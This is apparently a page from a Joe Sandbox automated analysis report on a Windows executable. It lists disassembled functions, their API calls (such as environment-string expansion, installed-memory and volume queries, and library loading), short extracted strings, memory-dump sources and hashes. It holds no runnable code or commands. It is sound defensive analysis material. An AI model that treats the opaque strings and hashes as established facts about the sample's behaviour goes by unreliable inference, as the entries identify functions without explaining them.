Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fcff4009406288a4ba0ee5154cc009e298a66086a2f585a91ae73fad3ca1715
Instruction ID: 58c35b6993b8c22add796a4bfedcea5950fbad45512d1e560ff700d727615152
Opcode Fuzzy Hash: 8fcff4009406288a4ba0ee5154cc009e298a66086a2f585a91ae73fad3ca1715
Instruction Fuzzy Hash: C94168705083029BE708CF08D594B2BB7E6FBD5708F58891CE8898B285D735DD069FA6

Uniqueness

Uniqueness Score: -1.00%

Function 00D059E2 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b1ac33913044ee3ec3cec3b2ab7674167d0d60326ee487b391e80f6cd3509f1
Instruction ID: 5432009bb8659602a4fd54a2a4abfa7e30917b09360003279b9d12c879662748
Opcode Fuzzy Hash: 1b1ac33913044ee3ec3cec3b2ab7674167d0d60326ee487b391e80f6cd3509f1
Instruction Fuzzy Hash: AF214D706083429BE310CF04D994B1FB7E6BBC1708F288A1CE5989B3D5C775EC059BA6

Uniqueness

Uniqueness Score: -1.00%

Function 00CED690 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 192
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00CED77D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 00CED7A8

Strings

-^, xrefs: 00CED6B7
AV, xrefs: 00CED6AF
SE, xrefs: 00CED6A7
X&, xrefs: 00CED6BF

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: -^$AV$SE$X&
API String ID: 237503144-3017178743
Opcode ID: 1d7352be5942b97815b7896703b6add07ab01afd8504772793b49d8904b7a94e
Instruction ID: fe3072ad0373d884b4fac974b677dfffef9d18395bb7b6bb3418869acba33bf6
Opcode Fuzzy Hash: 1d7352be5942b97815b7896703b6add07ab01afd8504772793b49d8904b7a94e
Instruction Fuzzy Hash: 62718B702083918FE724CF15D8A0B9BB7E1EFC6314F114A1CE8EA5B280D7749A45CBA3

Uniqueness

Uniqueness Score: -1.00%

Function 00CE4950 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00CE499D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00CE49CE

Strings

qrs, xrefs: 00CE4A04
<Y.[, xrefs: 00CE4A5E
2M#O, xrefs: 00CE49EC
r]Nm, xrefs: 00CE4B69

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 2M#O$<Y.[$r]Nm$qrs
API String ID: 237503144-2765572984
Opcode ID: 3f04f177ebc8e22e569ba9af46659ea4f905b1adc3a2692fdd5d4ffede23d6b3
Instruction ID: b62e9ff74aae468f00a6fbefa60e57370218db9b0fb2593f4fdb1476a2f1ee0a
Opcode Fuzzy Hash: 3f04f177ebc8e22e569ba9af46659ea4f905b1adc3a2692fdd5d4ffede23d6b3
Instruction Fuzzy Hash: F251C0746183819BD324CF15C895BABB7E5EF86324F054A2CF9958B381E7B49901CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00CF4AF5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 433
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 00CF50BF

Strings

M:h:, xrefs: 00CF520A
hFt=, xrefs: 00CF5203
P6D+, xrefs: 00CF4FA1

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: M:h:$P6D+$hFt=
API String ID: 3960555810-4191368970
Opcode ID: 79f78e85ae4c553e719b92ef677eea93153830992eae0a7db37070bf960cf3e3
Instruction ID: 6ca1358bcdd0c48339793fadd789451606d51939ebf6ab251675d4c5c4ef8046
Opcode Fuzzy Hash: 79f78e85ae4c553e719b92ef677eea93153830992eae0a7db37070bf960cf3e3
Instruction Fuzzy Hash: AEF16D70504F828BD7268F35C4687E7BBE1AF16308F44496DC2FB8B692C779A506CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00CF4F8F Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 366
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(?), ref: 00CF50BF

Strings

M:h:, xrefs: 00CF520A
hFt=, xrefs: 00CF5203
P6D+, xrefs: 00CF4FA1

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem
String ID: M:h:$P6D+$hFt=
API String ID: 3960555810-4191368970
Opcode ID: bc846992b7b2052a54d7e2f813bed90a6e4581f3825d15e18ce225615d1b1e09
Instruction ID: 4173e37d6f0c1ab2543cf765436fc4915caf707be8c77472f735ab5a3a2478f6
Opcode Fuzzy Hash: bc846992b7b2052a54d7e2f813bed90a6e4581f3825d15e18ce225615d1b1e09
Instruction Fuzzy Hash: 7CD16C70504F428BD726CF35C4687E7BBE1AB06308F44496DC2FB8B692C779A50ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 00CEDF50 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 00CEE08D
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 00CEE0BC

Strings

M3, xrefs: 00CEE171, 00CEE175
ru, xrefs: 00CEDFDB

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ru$M3
API String ID: 237503144-652937946
Opcode ID: 42a09fb4dd023af0f5fd718bd5edad9cea7ae697fb978692b942b35ca82281e3
Instruction ID: 20e2b21fcef294eae466a638cc326e6d31321953118722ecfae63c895b228829
Opcode Fuzzy Hash: 42a09fb4dd023af0f5fd718bd5edad9cea7ae697fb978692b942b35ca82281e3
Instruction Fuzzy Hash: 2F5142B1108381AFE314CF01C890B5BBBE5AB85394F10891DF8A95B391CB75DA468B92

Uniqueness

Uniqueness Score: -1.00%

Function 00D01DD5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00D01E18

Strings

:, xrefs: 00D01DDC
C, xrefs: 00D01DD5
\, xrefs: 00D01DE3

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: InformationVolume
String ID: :$C$\
API String ID: 2039140958-3809124531
Opcode ID: 08161da4c0dc70e05f94d5bb499c709da0f846d912e54c744080c352d3e75312
Instruction ID: e72d6b5e2f98f5b20d43c1d8fd9d63f31adf5879c6ccb903dd7632066ba0669a
Opcode Fuzzy Hash: 08161da4c0dc70e05f94d5bb499c709da0f846d912e54c744080c352d3e75312
Instruction Fuzzy Hash: FAF06570694301BBE724CF10EC26F1672A4DF41B04F20C81DB245D62D0DBB5AA199A69

Uniqueness

Uniqueness Score: -1.00%

Function 00D2D7D7 Relevance: 6.1, APIs: 4, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 00D2D808
__mtterm.LIBCMT ref: 00D2D88D

Memory Dump Source

Source File: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: Initialize__mtterm
String ID:
API String ID: 437650908-0
Opcode ID: f2ba8358994a4c2040b2d576de6ef2c58bba5e6f5bcb7457406d58edcfdff686
Instruction ID: 5479f81533a14cff93a7c64e3d72a6e0930344ec2232161e5865f552e70b8ad0
Opcode Fuzzy Hash: f2ba8358994a4c2040b2d576de6ef2c58bba5e6f5bcb7457406d58edcfdff686
Instruction Fuzzy Hash: F111CA3E4042375E9A357BB57C0296E7796EFB236DB780426F456C1042EE25C88295B2

Uniqueness

Uniqueness Score: -1.00%

Function 00D06041 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 92libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00D061AB

Strings

^], xrefs: 00D0613B

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: LibraryLoad
String ID: ^]
API String ID: 1029625771-1882935148
Opcode ID: d8b7b2445d999ad7b49a6f49a9479f27393342b244a98d53bca3440719b45cf4
Instruction ID: 8ba047b8840285ce72ac5edaae23ba3249eb9dc8aa5e6932eaa32d52b903c03b
Opcode Fuzzy Hash: d8b7b2445d999ad7b49a6f49a9479f27393342b244a98d53bca3440719b45cf4
Instruction Fuzzy Hash: FB3169B0119342ABE708CF10D66065FBBE2EFC4748F188A1CE4895B799DB34C942DF96

Uniqueness

Uniqueness Score: -1.00%

Function 00D06CD4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,FFFFFFFF), ref: 00D06D81

Strings

(;O, xrefs: 00D06DAA

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: AllocateHeap
String ID: (;O
API String ID: 1279760036-2077936600
Opcode ID: 53141067adcd155117e7beea7e60cddb7c72fef4438691296e2853e82b590c61
Instruction ID: bf09c05f44bb2c6fb1564ae5f4260ab5560c7f07989d27461e20cd0ae1e44391
Opcode Fuzzy Hash: 53141067adcd155117e7beea7e60cddb7c72fef4438691296e2853e82b590c61
Instruction Fuzzy Hash: AC215E712083419BE708CF14C5A472BB7E2FBC4708F114A1CE49A87391CB74DD41CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00CE7810 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 00CE784A
RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00CE787E

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 1110698a31a339232b61297f263fa4008ec5f0065596dc0c9d46a1d76a0c4b62
Instruction ID: 3289ceb2b3a9dd62e8c1d23f74ad7e9c78dbae9842f3d97418ee7b784e250c64
Opcode Fuzzy Hash: 1110698a31a339232b61297f263fa4008ec5f0065596dc0c9d46a1d76a0c4b62
Instruction Fuzzy Hash: 930104715083047BE7109B65DC8AFA73BACEB81764F048618F965C72D0EA70A904C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 00CF7F5A Relevance: 1.6, APIs: 1, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00CF8071

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 8b909345dad16f40f6dcec9e39098652bf9b203a64e8fe5173cc08374af69420
Instruction ID: 8234c0a18c1558215a1f46b971905e96b5518b42a5250881d46b2155cc41f53f
Opcode Fuzzy Hash: 8b909345dad16f40f6dcec9e39098652bf9b203a64e8fe5173cc08374af69420
Instruction Fuzzy Hash: F2418C70108B82DFC324CF28C498756BBE1BB49314F14875CD4EA8BB91DB35E65ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 00CF7F84 Relevance: 1.6, APIs: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00CF8071

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: f3b1248720c1e273fc2f535622b9a32e5a69f52abdcb838587614d700df4da5c
Instruction ID: 00a1a5956e442be2764171fe58c723a9b7718db09d419ce3a0ba5af17ae85943
Opcode Fuzzy Hash: f3b1248720c1e273fc2f535622b9a32e5a69f52abdcb838587614d700df4da5c
Instruction Fuzzy Hash: 93412770108B829FD315CF28C498756BBE1BB5A314F04874CD0EA8BB91DB75A659CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00CFD608 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL ref: 00CFD6B9

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: cfb88a6d53ceff3783b89ebb74a17272494c90e128defdb98172fe8fb07d1f35
Instruction ID: 0152c93d420c8af44360c4e35fd96d518a94ac687b387b5525ea73423079dfd4
Opcode Fuzzy Hash: cfb88a6d53ceff3783b89ebb74a17272494c90e128defdb98172fe8fb07d1f35
Instruction Fuzzy Hash: FF3144F0611B009FD761DF3DC946A26BBE8FB0C710B100A2DE99AC7B50E734B8458B92

Uniqueness

Uniqueness Score: -1.00%

Function 00D06209 Relevance: 1.6, APIs: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00D0638B

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 87f0385057cb15de0ac3bbab64bb279b834bf0d75188f651dc6ca6ced540d2e9
Instruction ID: 332380c19d94e16fd831fd6b9f1c6bf5eefce60a118de74b6448321dd9e6c8d7
Opcode Fuzzy Hash: 87f0385057cb15de0ac3bbab64bb279b834bf0d75188f651dc6ca6ced540d2e9
Instruction Fuzzy Hash: 384105B0609341AFE708DF11D5A075BBBE2EFC9709F18890CE0895B395C735C9468FA6

Uniqueness

Uniqueness Score: -1.00%

Function 00D05F1F Relevance: 1.6, APIs: 1, Instructions: 68libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE ref: 00D06001

Memory Dump Source

Source File: 00000000.00000002.1749519596.0000000000CD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000000.00000002.1749473718.0000000000CD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749554472.0000000000D0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749572738.0000000000D0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749592050.0000000000D19000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749619491.0000000000D3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749640450.0000000000D44000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1750412602.00000000015C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_file.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3f43796355bb0ff30fe0930100598af8babdb50b7d1d6d98d526366d2692a349
Instruction ID: 6d12228bdfe8453c7e3187d09c8efa6d763293f12d24448bd06b1497112a2c5d
Opcode Fuzzy Hash: 3f43796355bb0ff30fe0930100598af8babdb50b7d1d6d98d526366d2692a349
Instruction Fuzzy Hash: 12215CB0519341ABD308CF24E9A075F7BE3EBC1704F148A1CE48997755DF35C906ABA6

Uniqueness

Uniqueness Score: -1.00%

Function 00D03B50 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

